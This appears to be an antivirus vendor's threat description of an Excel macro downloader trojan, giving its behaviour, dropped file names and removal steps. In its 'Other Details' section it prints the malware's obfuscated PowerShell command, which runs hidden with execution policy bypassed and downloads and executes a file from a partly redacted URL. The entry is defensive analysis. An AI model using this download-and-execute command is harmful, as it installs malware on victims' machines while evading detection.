Analysis by: Marcus Ma. Antonio Capistrano
 Modified by: Christian Noel Olalia

ALIASES:

Trojan.Mdropper (NORTON), Troj/DocDl-MQG (SOPHOS_LITE), TrojanDownloader:O97M/Donoff (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It modifies the Internet Explorer Zone Settings.

As of this writing, the said sites are inaccessible.

It does not have any information-stealing capability.

  TECHNICAL DETAILS

File Size: 75,264 bytes
File Type: XLS
Memory Resident: Yes
Initial Samples Received Date: 22 Feb 2018
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Web Browser Home Page and Search Page Modification

This Trojan modifies the Internet Explorer Zone Settings.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}c.com/lantrace

It saves the files it downloads using the following names:

  • %Application Data%\Local.exe
  • %AppDataLocal%\Temp.exe

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.. %AppDataLocal% is the Application Data folder found in Local Settings, where it is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

As of this writing, the said sites are inaccessible.

Information Theft

This Trojan does not have any information-stealing capability.

Other Details

This Trojan does the following:

  • It uses the following powershell command to download and execute a malicious code:
    • poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen "do{sleep 25;(.(\"{2}{0}{1}\" -f'-o','bject','new') (\"{1}{3}{5}{0}{2}{4}\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('http://{BLOCKED}c.com/lantrace','%Application Data%\Local.exe')}while(!$?);&(\"{0}{2}{1}\"-f'star','ss','t-proce') '%Application Data%\Local.exe'"

    OR
      poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen "do{sleep 25;(.(\"{2}{0}{1}\" -f'-o','bject','new') (\"{1}{3}{5}{0}{2}{4}\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('http://{BLOCKED}c.com/lantrace','%AppDataLocal%\Temp.exe')}while(!$?);&(\"{0}{2}{1}\"-f'star','ss','t-proce') '%AppDataLocal%\Temp.exe'"

    It does not exploit any vulnerability.

    NOTES:

    Upon opening the Excel file, this Trojan displays the following image, possibly to trick the user into enabling macro content:

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 13.982.05
FIRST VSAPI PATTERN DATE: 22 Feb 2018
VSAPI OPR PATTERN File: 13.983.00
VSAPI OPR PATTERN Date: 23 Feb 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as X2KM_POWLOAD.AOEGB

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %AppDataLocal%\Temp.exe
  • %Application Data%\Local.exe

Step 5

Scan your computer with your Trend Micro product to delete files detected as X2KM_POWLOAD.AOEGB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 6

Reset Internet security settings

[ Learn More ]

Step 7

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


Did this description help? Tell us how we did.